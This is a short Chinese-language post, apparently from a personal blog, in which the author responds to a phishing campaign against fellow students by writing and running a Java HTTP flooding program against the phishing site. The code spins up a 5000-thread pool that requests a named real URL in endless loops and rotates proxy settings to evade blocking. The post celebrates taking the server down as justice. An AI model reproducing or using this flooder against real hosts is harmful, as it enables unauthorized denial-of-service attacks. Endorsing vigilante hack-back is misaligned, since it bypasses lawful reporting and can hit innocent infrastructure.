今天一個盜號的用母校的名字給我們大部分學生髮郵件,用此來大範圍盜號,實在是氣憤,於是寫了一個類來炸它的服務器。
package com.controller;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.ConnectException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.Timer;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class AttackFishing {
static int j = 5;
public static void main(String[] args) {
Timer timer= new Timer(true);
timer.schedule(
new java.util.TimerTask() { public void run()
{ //定時更換ip,防止被屏蔽
changeIP();
}
}, 0, 300*1000);
ExecutorService es = Executors.newFixedThreadPool(5000);
Mythread mythread = new Mythread();
Thread thread = new Thread(mythread);
for (int i = 0; i < 10000; i++) {
es.execute(thread);
}
}
//更換代理ip,免得被屏蔽。好像沒什麼用。。。
public static void changeIP(){
j++;
System.getProperties().setProperty("http.proxyHost", "192.168.0."+String.valueOf(j));
System.getProperties().setProperty("http.proxyPort", "80");
}
}
class Mythread implements Runnable {
int a = 0;
public void run() {
while (true) {
try {
//輸入要攻擊的釣魚網站
URL url = new URL("http://hhsjzmm.com/upload/slide/month_1305/n.html?eedzrasvujQa.vipm?=nICSv3sxgx/1a_url=www.mcc");
URLConnection conn = url.openConnection();
a++;
System.out.println("正在第 "+a+" 次進攻網站:"+"http://hhsjzmm.com/upload/slide/month_1305/n.html?eedzrasvujQa.vipm?=nICSv3sxgx/1a_url=www.mcc");
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println("攻擊成功!");
bis.close();
}
}
} catch (MalformedURLException e) {
} catch (ConnectException e) {
} catch (IOException e) {
}
}
}
}
最終,它關閉了服務器。。正義取得了勝利!!